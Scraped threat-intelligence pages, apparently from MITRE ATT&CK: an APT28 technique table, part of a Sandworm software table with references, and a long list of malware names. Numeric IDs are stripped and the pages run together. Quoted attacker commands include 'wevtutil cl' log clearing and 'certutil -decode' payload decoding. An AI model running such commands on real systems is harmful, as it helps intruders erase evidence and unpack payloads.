2004.[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] ID: G Associated Groups: SNAKEMACKEREL, Swallowtail, Group 74, Sednit, Sofacy, Pawn Storm, Fancy Bear, STRONTIUM, Tsar Team, Threat Group-4127, TG- Contributors: Emily Ratliff, IBM, Richard Gold, Digital Shadows Version: 2. Associated Group Descriptions Name Description SNAKEMACKEREL [15] Swallowtail [10] Group [18] Sednit This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT. [6] [5] [34] [2] Sofacy This designation has been used in reporting both to refer to the threat group and its associated malware. [4] [5] [3] [26] [2][18] Pawn Storm [5] [26] Fancy Bear [3] [34] [26] [2][18][10][23] STRONTIUM [34] [26] Tsar Team [26][18][18] Threat Group- [5] TG- [5] ATT&CK™ Navigator Layers Enterprise Layer download view Techniques Used Domain ID Name Use PRE-ATT&CK T Buy domain name APT28 registered domains imitating NATO and OSCE security websites and Caucasus information resources. [4] PRE-ATT&CK T Obtain/re-use payloads APT28 reused the SOURFACE downloader as the payload of a lure document. [4] Enterprise T Access Token Manipulation APT28 has used CVE-2015-1701 to access the SYSTEM token and copy it into the current process as part of privilege escalation. [27] Enterprise T Automated Collection APT28 used a publicly available tool to gather and compress multiple documents on the DCCC and DNC networks. [1] Enterprise T Bootkit APT28 has deployed a bootkit along with Downdelph to ensure its persistence on the victim. The bootkit shares code with some variants of BlackEnergy. [26] Enterprise T Command-Line Interface APT28 uses cmd.exe to execute commands and custom backdoors. [9] [11] Enterprise T Communication Through Removable Media APT28 uses a tool that captures information from air-gapped computers via an infected USB and transfers it to network-connected computer when the USB is inserted. [12] Enterprise T Component Object Model Hijacking APT28 has used COM hijacking for persistence by replacing the legitimate MMDeviceEnumerator object with a payload. [22] [11] Enterprise T Connection Proxy APT28 used other victims as proxies to relay command traffic, for instance using a compromised Georgian military email server as a hop point to NATO victims. The group has also used a tool that acts as a proxy to allow C2 even if the victim is behind a router. APT28 has also used a machine to relay and obscure communications between CHOPSTICK and their server. [4] [13] [1] Enterprise T Credential Dumping APT28 regularly deploys both publicly available and custom password retrieval tools on victims. [19] [1] Enterprise T Custom Cryptographic Protocol APT28 installed a Delphi backdoor that used a custom algorithm for C2 communications. [11] Enterprise T Data Compressed APT28 used a publicly available tool to gather and compress multiple documents on the DCCC and DNC networks. [1] Enterprise T Data from Information Repositories APT28 has collected information from Microsoft SharePoint services within target networks. [24] Enterprise T Data from Local System APT28 has retrieved internal documents from machines inside victim environments, including by using Forfiles to stage documents before. [20] [1] Enterprise T Data from Removable Media An APT28 backdoor may collect the entire contents of an inserted USB device. [12] Enterprise T Data Obfuscation APT28 added "junk data" to each encoded string, preventing trivial decoding without knowledge of the junk removal algorithm. Each implant was given a "junk length" value when created, tracked by the controller software to allow seamless communication but prevent analysis of the command protocol on the wire. [4] Enterprise T Data Staged APT28 has stored captured credential information in a file named pi.log. [12] Enterprise T Deobfuscate/Decode Files or Information An APT28 macro uses the command certutil -decode to decode contents of a .txt file storing the base64 encoded payload. [21] [9] Enterprise T Dynamic Data Exchange APT28 has delivered JHUHUGIT and Koadic by executing PowerShell commands through DDE in Word documents. [16] [17] [9] Enterprise T Email Collection APT28 has collected emails from victim Microsoft Exchange servers. [1] Enterprise T Exploitation for Client Execution APT28 has exploited Microsoft Office vulnerability CVE-2017-0262 for execution. [23] Enterprise T Exploitation for Defense Evasion APT28 has used CVE-2015-4902 to bypass security features. [13] [12] Enterprise T Exploitation for Privilege Escalation APT28 has exploited CVE-2014-4076, CVE-2015-2387, CVE-2015-1701, CVE-2017-0263 to escalate privileges. [13] [12] [23] Enterprise T Exploitation of Remote Services APT28 exploited a Windows SMB Remote Code Execution Vulnerability to conduct lateral movement. [4] [25] [31] Enterprise T File and Directory Discovery APT28 has used Forfiles to locate PDF, Excel, and Word documents during. The group also searched a compromised DCCC computer for specific terms. [20] [1] Enterprise T File Deletion APT28 has intentionally deleted computer files to cover their tracks, including with use of the program CCleaner. [1] Enterprise T Hidden Files and Directories APT28 has saved files with hidden file attributes. [18] [18] Enterprise T Indicator Removal on Host APT28 has cleared event logs, including by using the commands wevtutil cl System and wevtutil cl Security. [3] [1] Enterprise T Input Capture APT28 has used tools to perform keylogging. [12] [1] Enterprise T Logon Scripts An APT28 loader Trojan adds the Registry key HKCU\Environment\UserInitMprLogonScript to establish persistence. [14] Enterprise T Network Sniffing APT28 deployed the open source tool Responder to conduct NetBIOS Name Service poisoning, which captured usernames and hashed passwords that allowed access to legitimate credentials. [4] [25] Enterprise T Obfuscated Files or Information APT28 encrypted a .dll payload using RTL and a custom encryption algorithm. APT28 has also obfuscated payloads with base64, XOR, and RC4. [13] [21] [9] [18] [15] Enterprise T Office Application Startup APT28 has used the Office Test persistence mechanism within Microsoft Office by adding the Registry key HKCU\Software\Microsoft\Office test\Special\Perf to execute code. [32] Enterprise T Pass the Hash APT28 has used pass the hash for lateral movement. [12] Enterprise T Peripheral Device Discovery APT28 uses a module to receive a notification every time a USB mass storage device is inserted into a victim. [12] Enterprise T PowerShell APT28 downloads and executes PowerShell scripts. [9] Enterprise T Process Discovery An APT28 loader Trojan will enumerate the victim's processes searching for explorer.exe if its current process does not have necessary permissions. [14] Enterprise T Remote File Copy APT28 has downloaded additional files, including by using a first-stage downloader to contact the C2 server to obtain the second-stage implant. [13] [14] [15] Enterprise T Replication Through Removable Media APT28 uses a tool to infect connected USB devices and transmit itself to air-gapped computers when the infected USB device is inserted. [12] Enterprise T Rootkit APT28 has used a UEFI (Unified Extensible Firmware Interface) rootkit known as LoJax. [10] [29] Enterprise T Rundll APT28 executed CHOPSTICK by using rundll32 commands such as rundll32.exe “C:\Windows\twain_64.dll”. APT28 also executed a .dll for a first stage dropper using rundll32.exe. An APT28 loader Trojan saved a batch script that uses rundll32 to execute a DLL payload. [3] [13] [9] [14] [11] Enterprise T Screen Capture APT28 has used tools to take screenshots from victims. [19] [1] Enterprise T Scripting An APT28 loader Trojan uses a batch script to run its payload. The group has also used macros to execute
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versions_v5_groups_G0007.txt
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client applications and access employee workstations hosting HMI applications. [23] Software ID Name References Techniques S Bad Rabbit [9] Abuse Elevation Control Mechanism: Bypass User Account Control, Brute Force: Password Spraying, Data Encrypted for Impact, Drive-by Compromise, Drive-by Compromise, Exploitation of Remote Services, Exploitation of Remote Services, Firmware Corruption, Lateral Tool Transfer, Loss of Productivity and Revenue, Masquerading: Match Legitimate Name or Location, Native API, Network Share Discovery, OS Credential Dumping: LSASS Memory, Process Discovery, Scheduled Task/Job: Scheduled Task, System Binary Proxy Execution: Rundll32, System Services: Service Execution, User Execution: Malicious File, User Execution S BlackEnergy [3][10][1][2][9] Abuse Elevation Control Mechanism: Bypass User Account Control, Application Layer Protocol: Web Protocols, Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder, Boot or Logon Autostart Execution: Shortcut Modification, Create or Modify System Process: Windows Service, Credentials from Password Stores: Credentials from Web Browsers, Data Destruction, Fallback Channels, File and Directory Discovery, Hijack Execution Flow: Services File Permissions Weakness, Indicator Removal, Indicator Removal: Clear Windows Event Logs, Input Capture: Keylogging, Network Service Discovery, Peripheral Device Discovery, Process Discovery, Process Injection: Dynamic-link Library Injection, Remote Services: SMB/Windows Admin Shares, Screen Capture, Spearphishing Attachment, Standard Application Layer Protocol, Subvert Trust Controls: Code Signing Policy Modification, System Information Discovery, System Network Configuration Discovery, System Network Connections Discovery, Unsecured Credentials: Credentials In Files, Valid Accounts, Windows Management Instrumentation S CHEMISTGAMES [33] Application Layer Protocol: Web Protocols, Command and Scripting Interpreter: Unix Shell, Data from Local System, Download New Code at Runtime, Encrypted Channel: Asymmetric Cryptography, Location Tracking, Native API, Obfuscated Files or Information, Supply Chain Compromise: Compromise Software Supply Chain, System Information Discovery S Cyclops Blink [34][35] Application Layer Protocol: Web Protocols, Boot or Logon Initialization Scripts: RC Scripts, Data Encoding: Non-Standard Encoding, Data from Local System, Deobfuscate/Decode Files or Information, Encrypted Channel: Asymmetric Cryptography, Exfiltration Over C2 Channel, File and Directory Discovery, Impair Defenses: Disable or Modify System Firewall, Indicator Removal: Timestomp, Ingress Tool Transfer, Inter-Process Communication, Masquerading: Match Legitimate Name or Location, Native API, Non-Standard Port, Pre-OS Boot: Component Firmware, Process Discovery, Protocol Tunneling, Proxy: Multi-hop Proxy, System Information Discovery, System Network Configuration Discovery S Exaramel for Linux [36][21] Abuse Elevation Control Mechanism: Setuid and Setgid, Application Layer Protocol: Web Protocols, Command and Scripting Interpreter: Unix Shell, Create or Modify System Process: Systemd Service, Create or Modify System Process, Deobfuscate/Decode Files or Information, Fallback Channels, Indicator Removal: File Deletion, Ingress Tool Transfer, Obfuscated Files or Information, Scheduled Task/Job: Cron, System Owner/User Discovery S Exaramel for Windows [36] Archive Collected Data, Command and Scripting Interpreter: Windows Command Shell, Command and Scripting Interpreter: Visual Basic, Create or Modify System Process: Windows Service, Data Staged: Local Data Staging, Masquerading: Masquerade Task or Service, Modify Registry S GreyEnergy [9] Application Layer Protocol: Web Protocols, Command and Scripting Interpreter: Windows Command Shell, Create or Modify System Process: Windows Service, Encrypted Channel: Symmetric Cryptography, Encrypted Channel: Asymmetric Cryptography, Indicator Removal: File Deletion, Ingress Tool Transfer, Input Capture: Keylogging, Modify Registry, Obfuscated Files or Information: Software Packing, Obfuscated Files or Information, OS Credential Dumping: LSASS Memory, Process Injection: Portable Executable Injection, Proxy: Multi-hop Proxy, Subvert Trust Controls: Code Signing, System Binary Proxy Execution: Rundll32, System Service Discovery S Industroyer [13][37][38][39] Activate Firmware Update Mode, Application Layer Protocol: Web Protocols, Automated Collection, Block Command Message, Block Reporting Message, Block Serial COM, Brute Force I/O, Command-Line Interface, Compromise Client Software Binary, Connection Proxy, Create or Modify System Process: Windows Service, Data Destruction, Data Destruction, Denial of Control, Denial of Service, Denial of View, Deobfuscate/Decode Files or Information, Device Restart/Shutdown, Endpoint Denial of Service: Application or System Exploitation, Exfiltration Over C2 Channel, File and Directory Discovery, Ingress Tool Transfer, Loss of Control, Loss of Protection, Loss of View, Manipulation of Control, Manipulation of View, Monitor Process State, Network Connection Enumeration, Network Service Discovery, Obfuscated Files or Information, Protocol Tunneling, Proxy: Multi-hop Proxy, Query Registry, Remote System Discovery, Remote System Discovery, Remote System Information Discovery, Service Stop, Service Stop, System Information Discovery, System Network Configuration Discovery, Unauthorized Command Message, Valid Accounts S Invoke-PSImage [1] Obfuscated Files or Information: Embedded Payloads, Obfuscated Files or Information: Steganography S KillDisk [1][9] Access Token Manipulation, Data Destruction, Data Destruction, Data Encrypted for Impact, Disk Wipe: Disk Structure Wipe, File and Directory Discovery, Indicator Removal: File Deletion, Indicator Removal: Clear Windows Event Logs, Indicator Removal on Host, Loss of View, Masquerading: Masquerade Task or Service, Native API, Obfuscated Files or Information, Process Discovery, Service Stop, Service Stop, Shared Modules, System Information Discovery, System Shutdown/Reboot S Mimikatz [13] Access Token Manipulation: SID-History Injection, Account Manipulation, Boot or Logon Autostart Execution: Security Support Provider, Credentials from Password Stores, Credentials from Password Stores: Windows Credential Manager, Credentials from Password Stores: Credentials from Web Browsers, OS Credential Dumping: Security Account Manager, OS Credential Dumping: LSASS Memory, OS Credential Dumping: LSA Secrets, OS Credential Dumping: DCSync, Rogue Domain Controller, Steal or Forge Authentication Certificates, Steal or Forge Kerberos Tickets: Silver Ticket, Steal or Forge Kerberos Tickets: Golden Ticket, Unsecured Credentials: Private Keys, Use Alternate Authentication Material: Pass the Ticket, Use Alternate Authentication Material: Pass the Hash S Net [13] Account Discovery: Local Account, Account Discovery: Domain Account, Create Account: Local Account, Create Account: Domain Account, Indicator Removal: Network Share Connection Removal, Network Share Discovery, Password Policy Discovery, Permission Groups Discovery: Local Groups, Permission Groups Discovery: Domain Groups, Remote Services: SMB/Windows Admin Shares, Remote System Discovery, System Network Connections Discovery, System Service Discovery, System Services: Service Execution, System Time Discovery S NotPetya [6][1][2][9][35] Data Encrypted for Impact, Exploitation of Remote Services, Exploitation of Remote Services, File and Directory Discovery, Indicator Removal: Clear Windows Event Logs, Lateral Tool Transfer, Loss of Productivity and Revenue, Masquerading, OS Credential Dumping: LSASS Memory, Remote Services: SMB/Windows Admin Shares, Scheduled Task/Job: Scheduled Task, Software Discovery: Security Software Discovery, System Binary Proxy Execution: Rundll32, System Services: Service Execution, System Shutdown/Reboot, Valid Accounts: Local Accounts, Windows Management Instrumentation S Olympic Destroyer [40][9][1][2][35] Credentials from Password Stores: Credentials from Web Browsers, Data Destruction, Indicator Removal: Clear Windows Event Logs, Inhibit System Recovery, Lateral Tool Transfer, Network Share Discovery, OS Credential Dumping: LSASS Memory, Remote Services: SMB/Windows Admin Shares, Remote System Discovery, Service Stop, System Network Configuration Discovery, System Services: Service Execution, System Shutdown/Reboot, Windows Management Instrumentation S P.A.S. Webshell [21] Account Discovery: Local Account, Application Layer Protocol: Web Protocols, Brute Force: Password Guessing, Command and Scripting Interpreter, Data from Information Repositories, Data from Local System, Deobfuscate/Decode Files or Information, File and Directory Discovery, File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification, Indicator Removal: File Deletion, Ingress Tool Transfer, Network Service Discovery, Obfuscated Files or Information, Server Software Component: Web Shell, Software Discovery S PsExec [13] Create Account: Domain Account, Create or Modify System Process: Windows Service, Lateral Tool Transfer, Remote Services: SMB/Windows Admin Shares, System Services: Service Execution References - Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020. - UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020. - Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017. - Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018. - Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. - NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020. - Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. - Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020. - Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020. - F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016. - Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020. - Cherepanov, A.. (2017, July 4). Analysis of TeleBots’ cunning backdoor . Retrieved June 11, 2020. - Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020. - Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry . Retrieved June 10, 2020. - Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020. - NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022. - US-CERT. (2016, February 25). ICS Alert (IR-ALERT-H-16-056-01) Cyber-Attack Against Ukrainian Critical Infrastructure. Retrieved June 10, 2020. - Ward, S.. (2014, October 14). iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign. Retrieved June 10, 2020. - Wu, W. (2014, October 14). An Analysis of Windows Zero-day Vulnerability ‘CVE-2014-4114’ aka “Sandworm”. Retrieved June 18, 2020. - Li, H. (2013, November 5). McAfee Labs Detects Zero-Day Exploit Targeting Microsoft Office. Retrieved June 18, 2020. - ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021. - Counter Threat Research Team. (2017, June 28). NotPetya Campaign: What We Know About the Latest Global Ransomware Attack. Retrieved June 11, 2020. -
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versions_v12_groups_G0034.txt
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Currently viewing ATT&CK v11.3 which was live between April 25, 2022 and October 24, 2022. Learn more about the versioning system or see the live site. SOFTWARE Overview 3PARA RAT 4H RAT AADInternals ABK ACAD/Medre.A adbupd AdFind Adups ADVSTORESHELL Agent Smith Agent Tesla Agent.btz Allwinner Anchor Android/AdDisplay.Ashas Android/Chuli.A AndroidOS/MalLocker.B ANDROIDOS_ANSERVER.A AndroRAT Anubis AppleJeus AppleSeed Aria-body Arp Asacub ASPXSpy Astaroth at Attor AuditCred AutoIt backdoor Avaddon Avenger Azorult Babuk BabyShark BackConfig Backdoor.Oldrea BACKSPACE Bad Rabbit BADCALL BADFLICK BADNEWS BadPatch Bandook Bankshot Bazar BBK BBSRAT BendyBear BISCUIT Bisonal BitPaymer BITSAdmin BLACKCOFFEE BlackEnergy BlackMould BLINDINGCAN BloodHound BLUELIGHT Bonadan BONDUPDATER BoomBox BOOSTWRITE BOOTRASH BoxCaon BrainTest Brave Prince Bread Briba BS BUBBLEWRAP build_downer Bundlore BusyGasper Cachedump CaddyWiper Cadelspy CALENDAR Calisto CallMe Cannon Carbanak Carberp Carbon CarbonSteal Cardinal RAT CARROTBALL CARROTBAT Catchamas Caterpillar WebShell CCBkdr Cerberus certutil Chaes Chaos Charger CharmPower ChChes CHEMISTGAMES Cherry Picker China Chopper CHOPSTICK Chrommme Circles Clambling Clop CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT Concipit Conficker ConnectWise Conti CookieMiner CORALDECK CORESHELL Corona Updates CosmicDuke CostaBricks CozyCar CrackMapExec Crimson CrossRAT Crutch Cryptoistic CSPY Downloader Cuba Cyclops Blink Dacls DarkComet DarkWatchman Daserf DDKONG DealersChoice DEATHRANSOM DEFENSOR ID Dendroid Denis Derusbi Desert Scorpion Diavol Dipsind DOGCALL Dok Doki Donut DoubleAgent down_new Downdelph DownPaper DRATzarus DressCode Dridex DroidJack DropBook Drovorub dsquery Dtrack DualToy Duqu DustySky Dvmap Dyre Ebury ECCENTRICBANDWAGON Ecipekac Egregor EKANS Elise ELMER Emissary Emotet Empire EnvyScout Epic esentutl eSurv EventBot EvilBunny EvilGrab EVILNUM Exaramel for Linux Exaramel for Windows Exobot Exodus Expand Explosive FakeM FakeSpy FALLCHILL FatDuke Felismus FELIXROOT Ferocious Fgdump Final1stspy FinFisher FIVEHANDS Flagpro Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE FoggyWeb Forfiles FrameworkPOS FrozenCell FruitFly ftp FYAnti Fysbis Gazer Gelsemium GeminiDuke Get gh0st RAT Ginp GLOOXMAIL Gold Dragon Golden Cup GoldenEagle GoldenSpy GoldFinder GoldMax GolfSpy Gooligan Goopy GPlayed Grandoreiro GravityRAT Green Lambert GreyEnergy GRIFFON GrimAgent gsecdump GuLoader Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS Hancitor HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor HELLOKITTY Helminth HenBox HermeticWiper HermeticWizard Hi-Zor HiddenWasp HIDEDRV Hikit Hildegard HOMEFRY HOPLIGHT HotCroissant HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro HyperStack IcedID ifconfig iKitten Imminent Monitor Impacket Industroyer InnaputRAT INSOMNIA InvisiMole Invoke-PSImage ipconfig IronNetInjector ISMInjector Ixeshe Janicab Javali JCry JHUHUGIT JPIN jRAT JSS Loader Judy KARAE Kasidet Kazuar Kerrdown Kessel KeyBoy Keydnap KEYMARBLE KeyRaider KGH_SPY KillDisk Kinsing Kivars Koadic Kobalos KOCTOPUS Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LiteDuke LitePower Lizar LockerGoga LoJax Lokibot LookBack LoudMiner LOWBALL Lslsass Lucifer Lurid Machete MacSpy MailSniper Mandrake Marcher MarkiRAT Matryoshka MazarBOT Maze MCMD MechaFlounder meek MegaCortex Melcoz MESSAGETAP Metamorfo Meteor Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder MoleNet Monokle MoonWind More_eggs Mosquito MURKYTOP Mythic Naid NanHaiShu NanoCore NativeZone NavRAT NBTscan nbtstat NDiskMonitor Nebulae Neoichor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler Netwalker NETWIRE Ngrok Nidiran njRAT Nltest NOKKI NotCompatible NotPetya OBAD ObliqueRAT OceanSalt Octopus Okrum OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D Out OwaAuth P.A.S. Webshell P2P ZeuS P8RAT Pallas Pandora Pasam Pass-The-Hash Toolkit Pay2Key Pegasus for Android Pegasus for iOS Peirates Penquin Peppy PHOREAL Pillowmint PinchDuke Ping PipeMon Pisloader PJApps PLAINTEE PLC-Blaster PLEAD PlugX pngdowner PoetRAT PoisonIvy PolyglotDuke Pony POORAIM PoshC POSHSPY Power Loader PowerDuke PowerPunch PowerShower POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka ProLock Proton Proxysvc PS PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump Pysa QakBot QUADAGENT QuasarRAT QuietSieve Ragnar Locker Raindrop RainyDay Ramsay RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RCSession RDAT RDFSNIFFER Reaver Red Alert 2. RedDrop RedLeaves Reg RegDuke Regin Remcos Remexi RemoteCMD RemoteUtilities Remsec Responder Revenge RAT REvil RGDoor Rifdoor Riltok RIPTIDE Rising Sun ROADTools RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT Ryuk S-Type Sakula SamSam schtasks SDBbot SDelete SeaDuke Seasalt SEASHARPEE ServHelper Seth-Locker ShadowPad Shamoon SharpStage SHARPSTATS ShiftyBug ShimRat ShimRatReporter SHIPSHAPE SHOTPUT SHUTTERSPEED Sibot SideTwist SILENTTRINITY SilkBean Siloscape SimBad Skeleton Key Skidmap Skygofree Sliver SLOTHFULMEDIA SLOWDRIFT Smoke Loader SMOKEDHAM SNUGRIDE Socksbot SodaMaster SombRAT SoreFang SOUNDBITE SPACESHIP Spark SpeakUp SpicyOmelette spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx StrongPity Stuxnet SUNBURST SUNSPOT SUPERNOVA Sykipot SynAck SYNful Knock Sys SYSCON Systeminfo SysUpdate T Taidoor TAINTEDSCRIBE TajMahal Tangelo Tasklist TDTESS TEARDROP TERRACOTTA TEXTMATE ThiefQuest ThreatNeedle Tiktok Pro TinyTurla TINYTYPHON TinyZBot Tomiris Tor Torisma TrailBlazer Triada TrickBot TrickMo Triton Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TSCookie Turian TURNEDUP Twitoor TYPEFRAME UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBferry USBStealer Valak VaporRage Vasport VBShower VERMIN ViceLeaker ViperRAT Volgmer VPNFilter WannaCry WarzoneRAT WastedLocker Waterbear WEBC WellMail WellMess Wevtutil WhisperGate Wiarp Windows Credential Editor WINDSHIELD WindTail WINERACK Winexe Wingbird WinMM Winnti for Linux Winnti for Windows Wiper WireLurker WolfRAT X-Agent for Android XAgentOSX Xbash Xbot xCaon xCmd XcodeGhost XCSSET XLoader for Android XLoader for iOS XTunnel YAHOYAH YiSpecter yty Zebrocy Zen ZergHelper Zeroaccess ZeroT Zeus Panda ZLib Zox zwShell ZxShell SOFTWARE Overview 1- 3PARA RAT 4H RAT A-B AADInternals ABK ACAD/Medre.A adbupd AdFind Adups ADVSTORESHELL Agent Smith Agent Tesla Agent.btz Allwinner Anchor Android/AdDisplay.Ashas Android/Chuli.A AndroidOS/MalLocker.B ANDROIDOS_ANSERVER.A AndroRAT Anubis AppleJeus AppleSeed Aria-body Arp Asacub ASPXSpy Astaroth at Attor AuditCred AutoIt backdoor Avaddon Avenger Azorult Babuk BabyShark BackConfig Backdoor.Oldrea BACKSPACE Bad Rabbit BADCALL BADFLICK BADNEWS BadPatch Bandook Bankshot Bazar BBK BBSRAT BendyBear BISCUIT Bisonal BitPaymer BITSAdmin BLACKCOFFEE BlackEnergy BlackMould BLINDINGCAN BloodHound BLUELIGHT Bonadan BONDUPDATER BoomBox BOOSTWRITE BOOTRASH BoxCaon BrainTest Brave Prince Bread Briba BS BUBBLEWRAP build_downer Bundlore BusyGasper C-D Cachedump CaddyWiper Cadelspy CALENDAR Calisto CallMe Cannon Carbanak Carberp Carbon CarbonSteal Cardinal RAT CARROTBALL CARROTBAT Catchamas Caterpillar WebShell CCBkdr Cerberus certutil Chaes Chaos Charger CharmPower ChChes CHEMISTGAMES Cherry Picker China Chopper CHOPSTICK Chrommme Circles Clambling Clop CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT Concipit Conficker ConnectWise Conti CookieMiner CORALDECK CORESHELL Corona Updates CosmicDuke CostaBricks CozyCar CrackMapExec Crimson CrossRAT Crutch Cryptoistic CSPY Downloader Cuba Cyclops Blink Dacls DarkComet DarkWatchman Daserf DDKONG DealersChoice DEATHRANSOM DEFENSOR ID Dendroid Denis Derusbi Desert Scorpion Diavol Dipsind DOGCALL Dok Doki Donut DoubleAgent down_new Downdelph DownPaper DRATzarus DressCode Dridex DroidJack DropBook Drovorub dsquery Dtrack DualToy Duqu DustySky Dvmap Dyre E-F Ebury ECCENTRICBANDWAGON Ecipekac Egregor EKANS Elise ELMER Emissary Emotet Empire EnvyScout Epic esentutl eSurv EventBot EvilBunny EvilGrab EVILNUM Exaramel for Linux Exaramel for Windows Exobot Exodus Expand Explosive FakeM FakeSpy FALLCHILL FatDuke Felismus FELIXROOT Ferocious Fgdump Final1stspy FinFisher FIVEHANDS Flagpro Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE FoggyWeb Forfiles FrameworkPOS FrozenCell FruitFly ftp FYAnti Fysbis G-H Gazer Gelsemium GeminiDuke Get gh0st RAT Ginp GLOOXMAIL Gold Dragon Golden Cup GoldenEagle GoldenSpy GoldFinder GoldMax GolfSpy Gooligan Goopy GPlayed Grandoreiro GravityRAT Green Lambert GreyEnergy GRIFFON GrimAgent gsecdump GuLoader Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS Hancitor HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor HELLOKITTY Helminth HenBox HermeticWiper HermeticWizard Hi-Zor HiddenWasp HIDEDRV Hikit Hildegard HOMEFRY HOPLIGHT HotCroissant HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro HyperStack I-J IcedID ifconfig iKitten Imminent Monitor Impacket Industroyer InnaputRAT INSOMNIA InvisiMole Invoke-PSImage ipconfig IronNetInjector ISMInjector Ixeshe Janicab Javali JCry JHUHUGIT JPIN jRAT JSS Loader Judy K-L KARAE Kasidet Kazuar Kerrdown Kessel KeyBoy Keydnap KEYMARBLE KeyRaider KGH_SPY KillDisk Kinsing Kivars Koadic Kobalos KOCTOPUS Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LiteDuke LitePower Lizar LockerGoga LoJax Lokibot LookBack LoudMiner LOWBALL Lslsass Lucifer Lurid M-N Machete MacSpy MailSniper Mandrake Marcher MarkiRAT Matryoshka MazarBOT Maze MCMD MechaFlounder meek MegaCortex Melcoz MESSAGETAP Metamorfo Meteor Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder MoleNet Monokle MoonWind More_eggs Mosquito MURKYTOP Mythic Naid NanHaiShu NanoCore NativeZone NavRAT NBTscan nbtstat NDiskMonitor Nebulae Neoichor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler Netwalker NETWIRE Ngrok Nidiran njRAT Nltest NOKKI NotCompatible NotPetya O-P OBAD ObliqueRAT OceanSalt Octopus Okrum OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D Out OwaAuth P.A.S. Webshell P2P ZeuS P8RAT Pallas Pandora Pasam Pass-The-Hash Toolkit Pay2Key Pegasus for Android Pegasus for iOS Peirates Penquin Peppy PHOREAL Pillowmint PinchDuke Ping PipeMon Pisloader PJApps PLAINTEE PLC-Blaster PLEAD PlugX pngdowner PoetRAT PoisonIvy PolyglotDuke Pony POORAIM PoshC POSHSPY Power Loader PowerDuke PowerPunch PowerShower POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka ProLock Proton Proxysvc PS PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump Pysa Q-R QakBot QUADAGENT QuasarRAT QuietSieve Ragnar Locker Raindrop RainyDay Ramsay RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RCSession RDAT RDFSNIFFER Reaver Red Alert 2. RedDrop RedLeaves Reg RegDuke Regin Remcos Remexi RemoteCMD RemoteUtilities Remsec Responder Revenge RAT REvil RGDoor Rifdoor Riltok RIPTIDE Rising Sun ROADTools RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT Ryuk S-T S-Type Sakula SamSam schtasks SDBbot SDelete SeaDuke Seasalt SEASHARPEE ServHelper Seth-Locker ShadowPad Shamoon SharpStage SHARPSTATS ShiftyBug ShimRat ShimRatReporter SHIPSHAPE SHOTPUT SHUTTERSPEED Sibot SideTwist 